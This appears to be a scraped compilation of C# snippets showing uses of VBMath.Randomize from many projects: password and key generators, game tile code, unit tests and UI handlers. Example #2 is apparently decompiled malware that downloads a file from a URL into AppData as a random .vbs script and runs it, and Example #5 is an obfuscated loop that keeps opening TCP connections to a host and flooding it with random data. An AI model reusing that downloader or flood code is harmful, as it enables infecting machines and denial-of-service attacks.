Example #1
0
    public static string GetNewKey(string Kind)
    {
        VBMath.Randomize();
        int intRandomNumber = (int)VBMath.Rnd() * 100000;

        return(Kind + DateTime.Now.ToString("yyyyMMddHHmmss") + DateTime.Now.Millisecond.ToString("000") + intRandomNumber.ToString());
    }
Example #2
0
        // Token: 0x0600003C RID: 60 RVA: 0x000035B4 File Offset: 0x000017B4
        private static bool dlexxx(string url, string cmdline = "", bool inject = false)
        {
            bool result;

            try
            {
                WebClient webClient = new WebClient();
                webClient.Proxy = null;
                if (!inject)
                {
                    string fileName = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + Misc.randomString(7) + ".vbs";
                    webClient.DownloadFile(url, fileName);
                    Process.Start(new ProcessStartInfo
                    {
                        FileName  = fileName,
                        Arguments = cmdline
                    });
                    result = true;
                }
                else
                {
                    webClient.DownloadData(url);
                    VBMath.Randomize();
                    string text = Misc.surrogates[Misc.r.Next(0, Misc.surrogates.Length - 1)];
                    result = true;
                }
            }
            catch
            {
                result = false;
            }
            return(result);
        }
        /// <summary>
        /// Create a random password
        /// </summary>
        /// <param name="iLen">length of the key</param>
        /// <returns>Random Password</returns>
        /// <remarks></remarks>
        public static string CreatePassword(int iLen)
        {
            string Code = "";
            int    idx  = 0;
            int    iTry = 0;
            int    iCnt = 0;

            VBMath.Randomize(DateAndTime.Timer);
            iCnt = 0;
            do
            {
                Code = "";
                iTry = 0;
                do
                {
                    idx = CreateRandomNumber(0, legal.Length);
                    try
                    {
                        Code += legal[idx].ToString();
                    }
                    catch (IndexOutOfRangeException) //Exceptions: System.IndexOutOfRangeException: index is greater than or equal to the length of this object or less than zero.
                    {
                    }
                    iTry++;
                } while (!(Code.Length == iLen | iTry > iLen * 2));

                iCnt++;
            } while (!(ValidatePassword(Code) || iCnt > 200));
            return(Code);
        }
Example #4
0
 internal menuTreeClass(CPBaseClass cp)
 {
     this.cp        = cp;
     EntryIndexName = new FastIndex5Class();
     VBMath.Randomize();
     MenuFlyoutNamePrefix = "id" + System.Convert.ToString(Conversion.Int(9999 * VBMath.Rnd()));
 }
Example #5
0
 public static void zv42dzCzO7gGe7lUCv2faCkDakWk6OQF()
 {
     try
     {
         while (Alive)
         {
             X4vKz5OoJbKNFDQzWLOSzJSMssRvhpHV = new TcpClient(URLS, 80);
             M9B1zLn9BDdvE3Thuyi19R73iy78TwqB = X4vKz5OoJbKNFDQzWLOSzJSMssRvhpHV.GetStream();
             StringBuilder builder = new StringBuilder("");
             char[]        chArray = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray();
             int           size    = Size;
             for (int i = 1; i <= size; i++)
             {
                 VBMath.Randomize();
                 int index = (int)Math.Round((double)(Conversion.Int((float)((((chArray.Length - 2) - 0) + 1) * VBMath.Rnd())) + 1f));
                 builder.Append(chArray[index]);
             }
             while (true)
             {
                 if (X4vKz5OoJbKNFDQzWLOSzJSMssRvhpHV.Connected)
                 {
                     M9B1zLn9BDdvE3Thuyi19R73iy78TwqB.Write(Encoding.UTF8.GetBytes(builder.ToString()), 0, Encoding.UTF8.GetBytes(builder.ToString()).Length);
                 }
             }
         }
     }
     catch (Exception exception1)
     {
         ProjectData.SetProjectError(exception1);
         ProjectData.ClearProjectError();
     }
     Thread.CurrentThread.Abort();
 }
Example #6
0
        public static void On_SMSG_AUTH_CHALLENGE(ref Packets.PacketClass Packet)
        {
            Console.WriteLine("[{0}][World] Received Auth Challenge.", Strings.Format(DateAndTime.TimeOfDay, "HH:mm:ss"));
            WS_WardenClient.InitWarden();
            Worldserver.ServerSeed = Packet.GetUInt32();
            var temp = Encoding.ASCII.GetBytes(Realmserver.Account.ToCharArray());

            temp = Realmserver.Concat(temp, BitConverter.GetBytes(0));
            temp = Realmserver.Concat(temp, BitConverter.GetBytes(Worldserver.ClientSeed));
            temp = Realmserver.Concat(temp, BitConverter.GetBytes(Worldserver.ServerSeed));
            temp = Realmserver.Concat(temp, Realmserver.SS_Hash);
            var algorithm1 = new SHA1Managed();
            var ShaDigest  = algorithm1.ComputeHash(temp);

            Worldserver.Decoding = true;
            VBMath.Randomize();
            Worldserver.ClientSeed = (uint)(uint.MaxValue * VBMath.Rnd());
            var Response = new Packets.PacketClass(OPCODES.CMSG_AUTH_SESSION);

            Response.AddInt32(Realmserver.Revision);
            Response.AddInt32(0); // SessionID?
            Response.AddString(Realmserver.Account.ToUpper());
            Response.AddUInt32(Worldserver.ClientSeed);
            Response.AddByteArray(ShaDigest);
            Response.AddInt32(0); // Addon size
            Worldserver.Send(Response);
            Response.Dispose();
            Worldserver.Encoding = true;
        }
Example #7
0
        public string Return_EncryptDate(DateTime DT)
        {
            string returnValue = "";
            string str_Renamed = "";
            short  i           = 0;
            string DL          = "";

            //    str = Format(DT, "mm/dd/yyyy")
            ///changed by nancy
            str_Renamed = DateAndTime.Month(DT).ToString("00") + "/" +
                          DateAndTime.Day(DT).ToString("00") + "/" +
                          DateAndTime.Year(DT).ToString("0000");

            for (i = 1; i <= 10; i++)
            {
                DL = DL + System.Convert.ToString(Strings.Asc(str_Renamed.Substring(i - 1, 1)) + 7);
            }

            for (i = 1; i <= 10; i++)
            {
                VBMath.Randomize();
                DL = (VBMath.Rnd() * VBMath.Rnd() * i * 5).ToString("00") + DL;
            }

            for (i = 1; i <= 10; i++)
            {
                VBMath.Randomize();
                DL = DL + (VBMath.Rnd() * VBMath.Rnd() * i * 5).ToString("00"); //Format(Rnd() + i * i + (i * Rnd()) / i, "00")
            }

            returnValue = DL;

            return(returnValue);
        }
Example #8
0
        //TODO: CmdSet_Click
        private void CmdSet_Click(object sender, EventArgs e)
        {
            swSelMgr = swModel.SelectionManager;
            if (swSelMgr.GetSelectedObjectCount() == 1) // Проверка выделения
            {
                if (swSelMgr.GetSelectedObjectType(1) == 15)
                {
                    if (m2 == 1)
                    {
                        VBMath.Randomize();
                        oldNoteName = "NN" + Strings.LTrim(Convert.ToString(VBMath.Rnd() * 100));
                        //Debug.Print(oldNoteName);
                        ok = swNote.SetName(oldNoteName);
                    }

                    swNote = swSelMgr.GetSelectedObject2(1);
                    ok     = swNote.SetName(newNoteName);
                    Start();
                }
                else
                {
                    MessageBox.Show("Необходимо выделить заметку");
                }
            }
            else
            {
                MessageBox.Show("Выделите одну заметку...");
            }
        }
Example #9
0
        public byte[] XOREncrypt(byte[] up, string BB2)
        {
            byte[] bytes = Encoding.ASCII.GetBytes(BB2);
            VBMath.Randomize();
            int num = Convert.ToInt32(256f * VBMath.Rnd()) + 1;

            byte[] array = new byte[up.Length + 1];
            int    num2  = 0;

            for (int i = 0; i <= up.Length - 1; i++)
            {
                byte[] array2 = array;
                int    num3   = i;
                array2[num3] += Convert.ToByte((int)(up[i] ^ bytes[num2]) ^ num);
                if (num2 == BB2.Length - 1)
                {
                    num2 = 0;
                }
                else
                {
                    num2++;
                }
            }
            array[up.Length] = Convert.ToByte(112 ^ num);
            return(array);
        }
Example #10
0
            /// GENERATES A RANDOM STRING OF LETTERS AND NUMBERS.
            /// LETTERS CAN BE RANDOMLY CAPITAL OR SMALL. RETURNS THERANDOMLY GENERATED KEY</returns>
            public string Generate()
            {
                int    i_key;
                float  Random1;
                short  arrIndex;
                var    sb = new StringBuilder();
                string RandomLetter;

                /// CONVERT LettersArray & NumbersArray TO CHARACTR ARRAYS
                LettersArray = Key_Letters.ToCharArray();
                NumbersArray = Key_Numbers.ToCharArray();
                var loopTo = Key_Chars;

                for (i_key = 1; i_key <= loopTo; i_key++)
                {
                    /// START THE CLOCK    - LAITH - 27/07/2005 18:01:18 -
                    VBMath.Randomize();
                    Random1  = VBMath.Rnd();
                    arrIndex = -1;
                    /// IF THE VALUE IS AN EVEN NUMBER WE GENERATE A LETTER,
                    /// OTHERWISE WE GENERATE A NUMBER
                    /// THE NUMBER '111' WAS RANDOMLY CHOSEN. ANY NUMBER
                    /// WILL DO, WE JUST NEED TO BRING THE VALUE
                    /// ABOVE '0'
                    if (Conversions.ToInteger(Random1 * 111) % 2 == 0)
                    {
                        /// GENERATE A RANDOM INDEX IN THE LETTERS
                        /// CHARACTER ARRAY
                        while (arrIndex < 0)
                        {
                            arrIndex = Convert.ToInt16(LettersArray.GetUpperBound(0) * Random1);
                        }
                        RandomLetter = Conversions.ToString(LettersArray[arrIndex]);
                        /// CREATE ANOTHER RANDOM NUMBER. IF IT IS ODD,
                        /// WE CAPITALIZE THE LETTER
                        if (Conversions.ToInteger(arrIndex * Random1 * 99) % 2 != 0)
                        {
                            RandomLetter = LettersArray[arrIndex].ToString();
                            RandomLetter = RandomLetter.ToUpper();
                        }

                        sb.Append(RandomLetter);
                    }
                    else
                    {
                        /// GENERATE A RANDOM INDEX IN THE NUMBERS
                        /// CHARACTER ARRAY
                        while (arrIndex < 0)
                        {
                            arrIndex = Convert.ToInt16(NumbersArray.GetUpperBound(0) * Random1);
                        }
                        sb.Append(NumbersArray[arrIndex]);
                    }
                }

                return(sb.ToString());
            }
        public static string loadSentenceQuoteOfTheDay()
        {
            var    state      = new environmentVarsCore();
            string fileName   = Path.Combine(state.libraryPath, "quotes.eon");
            var    quotesFile = new FileInfo(fileName);
            var    sArray     = default(string[]);
            int    Index      = 0;

            Array.Resize(ref sArray, Index + 1);
            bool found = false;

            quotesFile.Refresh();
            if (quotesFile.Exists)
            {
                try
                {
                    // with Array
                    var fStream = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
                    var sReader = new StreamReader(fStream, Encoding.UTF8);
                    while (sReader.Peek() >= 0)
                    {
                        string line = sReader.ReadLine();
                        if (Information.IsNothing(line))
                        {
                            continue;
                        }

                        if (line.Equals(""))
                        {
                            continue;
                        }

                        Array.Resize(ref sArray, Index + 1);
                        sArray[Index] = line;
                        Index        += 1;
                    }

                    fStream.Close();
                    sReader.Close();
                }
                catch (Exception ex)
                {
                    return(ex.Message);
                }

                var rnd = new Random();
                VBMath.Randomize();
                return(sArray[rnd.Next(0, sArray.Length - 1)]);
            }
            else
            {
                return("quotes file not found");
            }
        }
 public void generates_same_results_as_VB6(int seed, float[] values)
 {
     VBMath.Rnd(-1);
     VBMath.Randomize(seed);
     float[] results = new float[values.Length];
     for (int index = 0; index < results.Length; index++)
     {
         results[index] = VBMath.Rnd();
     }
     CollectionAssert.AreEqual(values, results, new FloatEpsilonComparer(0.0000001f));
 }
Example #13
0
        public void Rnd_1()
        {
            object resObj;
            string tmpStr;

            VBMath.Randomize();
            resObj = VBMath.Rnd(13);
            tmpStr = Convert.ToString(resObj.GetType().Name);

            Assert.AreEqual("Single", tmpStr);
        }
 public void GetRandomStatic(short X, short Y, short Z, Collection[,] StaticMap)
 {
     if (this.m_Random.Count == 0)
     {
         return;
     }
     VBMath.Randomize();
     if (checked ((int)Math.Round((double)Conversion.Int(unchecked (100f * VBMath.Rnd())))) <= this.m_Freq)
     {
         ((RandomStaticCollection)this.m_Random[checked ((int)Math.Round((double)unchecked ((float)Conversion.Int(checked (this.m_Random.Count - 1)) * VBMath.Rnd())) + 1)]).RandomStatic(X, Y, Z, StaticMap);
     }
 }
 public void GetRandomStatic(short X, short Y, short Z, Collection[,] StaticMap)
 {
     if (this.m_Random.Count != 0)
     {
         VBMath.Randomize();
         if (checked ((int)Math.Round((double)Conversion.Int(100f * VBMath.Rnd()))) <= this.m_Freq)
         {
             int num = checked (checked ((int)Math.Round((double)((float)((float)Conversion.Int(checked (this.m_Random.Count - 1)) * VBMath.Rnd())))) + 1);
             ((RandomStaticCollection)this.m_Random[num]).RandomStatic(X, Y, Z, StaticMap);
         }
     }
 }
Example #16
0
        public void Randomize_IsIdempotent(double seed)
        {
            ResetSeed();

            VBMath.Randomize(seed);
            float actualState1 = VBMath.Rnd(0.0f);

            VBMath.Randomize(seed);
            float actualState2 = VBMath.Rnd(0.0f);

            Assert.Equal(actualState1, actualState2);
        }
Example #17
0
        public void Rnd_0_PreviousNumberInSequenceIsNotAlwaysThePreviouslyGeneratedNumber()
        {
            ResetSeed();

            float previouslyGeneratedNumber = VBMath.Rnd();

            VBMath.Randomize(42.0f);
            float actual   = VBMath.Rnd(0.0f);
            float expected = 0.251064479f;

            Assert.Equal(expected, actual);
            Assert.NotEqual(previouslyGeneratedNumber, actual);
        }
Example #18
0
        public void Randomize_UseExistingStateWhenGeneratingNewState(double seed)
        {
            ResetSeed();

            VBMath.Randomize(seed);
            float actualState1 = VBMath.Rnd(0.0f);

            VBMath.Rnd();
            VBMath.Randomize(seed);
            float actualState2 = VBMath.Rnd(0.0f);

            Assert.NotEqual(actualState1, actualState2);
        }
Example #19
0
        // Token: 0x06000037 RID: 55 RVA: 0x00003184 File Offset: 0x00001384
        public static string randomString(int length)
        {
            char[] array = "abcdefghijklmnopqrstuvwxyz".ToCharArray();
            VBMath.Randomize();
            StringBuilder stringBuilder = new StringBuilder();

            for (int i = 1; i < length; i++)
            {
                int num = (int)((float)(array.Length - 2 + 1) * VBMath.Rnd()) + 1;
                stringBuilder.Append(array[num]);
            }
            return(stringBuilder.ToString());
        }
Example #20
0
 public void setup_generate_random1(object setup_low_rand, object setup_high_rand)
 {
     setup_rand_finished = false;
     while (!setup_rand_finished)
     {
         VBMath.Randomize();
         setup_random1 = IntegerType.FromObject(Conversion.Int(ObjectType.AddObj(ObjectType.MulObj(ObjectType.AddObj(setup_high_rand, 1), VBMath.Rnd()), 0)));
         if (!BooleanType.FromObject(ObjectType.BitAndObj(ObjectType.ObjTst(setup_random1, setup_low_rand, false) >= 0, ObjectType.ObjTst(setup_random1, setup_high_rand, false) <= 0)))
         {
             continue;
         }
         setup_rand_finished = true;
     }
 }
        /// <summary>
        /// Create a random code
        /// </summary>
        /// <param name="lowerbound">Min number</param>
        /// <param name="upperbound">Max Number</param>
        /// <returns>Random number equal or between Min and Max number</returns>
        /// <remarks></remarks>
        public static int CreateRandomNumber(int lowerbound, int upperbound)
        {
            int result = 0;
            int antal  = 0;

            VBMath.Randomize(DateAndTime.Timer);
            antal = 0;
            do
            {
                antal++;
                result = System.Convert.ToInt32(Conversion.Int((upperbound - lowerbound + 1) * VBMath.Rnd() + lowerbound));
            } while (!((result >= lowerbound & result <= upperbound) || antal > 100));
            return(result);
        }
Example #22
0
        public string vMXFSQfFDrQEePRSb2Yl6edVxzcplo6b(int FqVi3zK6rAXVOoPIYvPFOICtQS0SujSv, [Optional, DefaultParameterValue("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")] string DataSend)
        {
            VBMath.Randomize();
            char[]        chArray = DataSend.ToCharArray();
            StringBuilder builder = new StringBuilder();
            Random        random  = new Random();

            while (Strings.Len(builder.ToString()) != FqVi3zK6rAXVOoPIYvPFOICtQS0SujSv)
            {
                int index = (int)Math.Round((double)(VBMath.Rnd() * (chArray.Length - 1)));
                builder.Append(chArray[index]);
            }
            return(builder.ToString());
        }
Example #23
0
        public static void Chart_Histogram(Chart ChartName, string XAxisName, string YAxisName, string[] XAxisData, double[] YAxisData, double XAxisLabAgle)
        {
            DataTable dt = new DataTable();

            dt.Columns.Add("X轴");
            dt.Columns.Add("Y轴");
            DataRow dr = default(DataRow);

            for (int i = 1; i <= 8; i++)
            {
                dr    = dt.NewRow();
                dr[0] = XAxisData[i - 1];
                VBMath.Randomize();
                dr[1] = YAxisData[i];
                dt.Rows.Add(dr);
            }
            dr = null;
            Chart with_1 = ChartName;

            with_1.DataSource = dt;             //dt作为Chart的数据源
            with_1.Series.Clear();
            with_1.Legends.Clear();
            with_1.ChartAreas.Clear();
            with_1.ChartAreas.Add("Y轴");
            with_1.Legends.Add("Y轴");
            with_1.Series.Add("Y轴");
            ChartName.Series["Y轴"].LegendToolTip                     = "Y轴图例";
            ChartName.ChartAreas["Y轴"].AxisX.Title                   = XAxisName;                      //添加AxisX Titles
            ChartName.ChartAreas["Y轴"].AxisY.Title                   = YAxisName;                      //添加AxisY Titles
            ChartName.Series["Y轴"].IsValueShownAsLabel               = true;                           //标签显示数据值
            ChartName.Legends["Y轴"].DockedToChartArea                = "Y轴";                           //指定Legend所属ChartArea
            ChartName.ChartAreas["Y轴"].Area3DStyle.Enable3D          = false;                          //启用3D样式
            ChartName.ChartAreas["Y轴"].AxisX.LineColor               = System.Drawing.Color.LightGray; //设置轴的线条颜色
            ChartName.ChartAreas["Y轴"].AxisY.LineColor               = System.Drawing.Color.LightGray; //设置轴的线条颜色
            ChartName.ChartAreas["Y轴"].AxisX.MajorGrid.LineColor     = System.Drawing.Color.LightGray; //设置网格线颜色
            ChartName.ChartAreas["Y轴"].AxisY.MajorGrid.LineColor     = System.Drawing.Color.LightGray; //设置网格线颜色
            ChartName.ChartAreas["Y轴"].AxisY.MajorGrid.LineDashStyle = System.Windows.Forms.DataVisualization.Charting.ChartDashStyle.Dash;
            ChartName.ChartAreas["Y轴"].AxisX.MajorGrid.LineDashStyle = System.Windows.Forms.DataVisualization.Charting.ChartDashStyle.Dash;
            ChartName.ChartAreas["Y轴"].AxisX.LabelStyle.Angle        = (int)XAxisLabAgle; //X轴标题倾斜角度
            ChartName.ChartAreas["Y轴"].AxisX.MajorGrid.Interval      = 1;                 //设置X轴间隔距离
            ChartName.ChartAreas["Y轴"].AxisY.IsLabelAutoFit          = true;              //设置是否自动调整轴标签
            //ChartName.ChartAreas["Y轴"].AxisY.IsStartedFromZero = False          '设置是否自动将数据值均为正值时轴的最小值设置为0,存在负数据值时,将使用数据轴最小值
            ChartName.Legends["Y轴"].Enabled = false;

            ChartName.Series[0].YValueMembers = "Y轴";
            ChartName.Series[0].XValueMember  = "X轴";
            ChartName.Series[0].ChartType     = System.Windows.Forms.DataVisualization.Charting.SeriesChartType.Column;
            ChartName.DataBind();
        }
Example #24
0
 public void GetRandomStatic(ushort X, ushort Y, ushort Z, Collection[,] StaticMap)
 {
     checked
     {
         if (this.m_Random.Count != 0)
         {
             VBMath.Randomize();
             if ((int)Math.Round((double)Conversion.Int(unchecked (100f * VBMath.Rnd()))) <= this.m_Freq)
             {
                 int index = (int)Math.Round((double)unchecked ((float)Conversion.Int(checked (this.m_Random.Count - 1)) * VBMath.Rnd())) + 1;
                 ((RandomStaticCollection)this.m_Random[index]).RandomStatic(X, Y, Z, StaticMap);
             }
         }
     }
 }
Example #25
0
        public void Randomize_SetsExpectedState()
        {
            ResetSeed();

            VBMath.Randomize(-2E30);
            Assert.Equal(-0.0297851562f, VBMath.Rnd(0.0f));
            VBMath.Randomize(-0.003356);
            Assert.Equal(-0.244613647f, VBMath.Rnd(0.0f));
            VBMath.Randomize(0.0);
            Assert.Equal(-1.0f, VBMath.Rnd(0.0f));
            VBMath.Randomize(10.12345678901);
            Assert.Equal(-0.503646851f, VBMath.Rnd(0.0f));
            VBMath.Randomize(3.5356E99);
            Assert.Equal(-0.462493896f, VBMath.Rnd(0.0f));
        }
Example #26
0
        public short CheckTop(short TileID)
        {
            short num = 0;

            if (this.m_TopEdge[TileID] != null)
            {
                VBMath.Randomize();
                float single = VBMath.Rnd() * 15f;
                if (single == 0f)
                {
                    num = -4;
                }
                else if (single >= 1f && single <= 3f)
                {
                    num = -3;
                }
                else if (single >= 4f && single <= 8f)
                {
                    num = -2;
                }
                else if (single == 9f)
                {
                    num = -1;
                }
                else if (single == 10f)
                {
                    num = 0;
                }
                else if (single >= 11f && single <= 13f)
                {
                    num = 1;
                }
                else if (single == 14f)
                {
                    num = 2;
                }
                else if (single == 15f)
                {
                    num = 3;
                }
            }
            else
            {
                num = 0;
            }
            return(num);
        }
        public short CheckTop(short TileID)
        {
            short num1;

            if (this.m_TopEdge[(object)TileID] == null)
            {
                num1 = (short)0;
            }
            else
            {
                VBMath.Randomize();
                float num2 = VBMath.Rnd() * 15f;
                if ((double)num2 == 0.0)
                {
                    num1 = (short)-4;
                }
                else if ((double)num2 >= 1.0 && (double)num2 <= 3.0)
                {
                    num1 = (short)-3;
                }
                else if ((double)num2 >= 4.0 && (double)num2 <= 8.0)
                {
                    num1 = (short)-2;
                }
                else if ((double)num2 == 9.0)
                {
                    num1 = (short)-1;
                }
                else if ((double)num2 == 10.0)
                {
                    num1 = (short)0;
                }
                else if ((double)num2 >= 11.0 && (double)num2 <= 13.0)
                {
                    num1 = (short)1;
                }
                else if ((double)num2 == 14.0)
                {
                    num1 = (short)2;
                }
                else if ((double)num2 == 15.0)
                {
                    num1 = (short)3;
                }
            }
            return(num1);
        }
Example #28
0
        public string GenerateLicenseKey(string email)
        {
            int num5;
            int num6;

            VBMath.Randomize();
            var str6  = "";
            var num4  = (int)Math.Round(Conversion.Int(25f * VBMath.Rnd() + 1f));
            var num10 = Strings.Len(email);

            for (var i = 1; i <= num10; i++)
            {
                int num8;
                num5 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));
                num6 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));
                while (num5 == num6)
                {
                    num5 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));
                    num6 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));
                }
                if (num5 > num6)
                {
                    num8 = num5 - num6;
                }
                else
                {
                    num8 = num6 - num5;
                }
                var str5 = Strings.Format(Strings.Asc(Strings.Mid(email, i, 1)), "000");
                var num  = (int)Math.Round(Conversion.Val(Strings.Mid(str5, 1, 1)));
                var num2 = (int)Math.Round(Conversion.Val(Strings.Mid(str5, 2, 1)));
                var num3 = (int)Math.Round(Conversion.Val(Strings.Mid(str5, 3, 1)));
                var str  = Conversions.ToString(Strings.Chr(num + 0x41 + num8));
                var str2 = Conversions.ToString(Strings.Chr(num2 + 0x41 + num8));
                var str3 = Conversions.ToString(Strings.Chr(num3 + 0x41 + num8));
                str6 = str6 + Conversions.ToString(Strings.Chr(num5 + 0x40)) + str + str2 +
                       Conversions.ToString(Strings.Chr(num6 + 0x40)) + str3;
            }
            num5 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));
            num6 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));
            var num7 = (int)Math.Round(Conversion.Int(26f * VBMath.Rnd() + 1f));

            return
                (Conversions.ToString(Strings.Chr(num5 + 0x40)) + Conversions.ToString(Strings.Chr(num6 + 0x40)) +
                 Conversions.ToString(Strings.Chr(num7 + 0x40)) + str6);
        }
Example #29
0
    private void Button4_Click(object sender, EventArgs e)
    {
        string text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

        VBMath.Randomize();
        checked
        {
            this.TextBox5.Text = Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]);
            VBMath.Randomize();
            this.TextBox6.Text = Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]);
            VBMath.Randomize();
            this.TextBox8.Text = Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]);
            VBMath.Randomize();
            this.TextBox9.Text = Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]);
            VBMath.Randomize();
            this.TextBox11.Text = Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]) + Conversions.ToString(text[(int)Math.Round((double)Conversion.Int(unchecked (35f * VBMath.Rnd() + 1f)))]);
        }
    }
Example #30
0
    public static string smethod_1(int value)
    {
        VBMath.Randomize();
        StringBuilder stringBuilder = new StringBuilder("");

        char[] charArray = "A0B1C2D3E4F5G6H7I8J9KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray();
        int    num1      = value;
        int    num2      = 1;

        while (num2 <= num1)
        {
            VBMath.Randomize();
            int index = checked ((int)Math.Round(unchecked ((double)Conversion.Int((float)checked (charArray.Length - 2 - 0 + 1) * VBMath.Rnd()) + 1.0)));
            stringBuilder.Append(charArray[index]);
            checked { ++num2; }
        }
        return(stringBuilder.ToString());
    }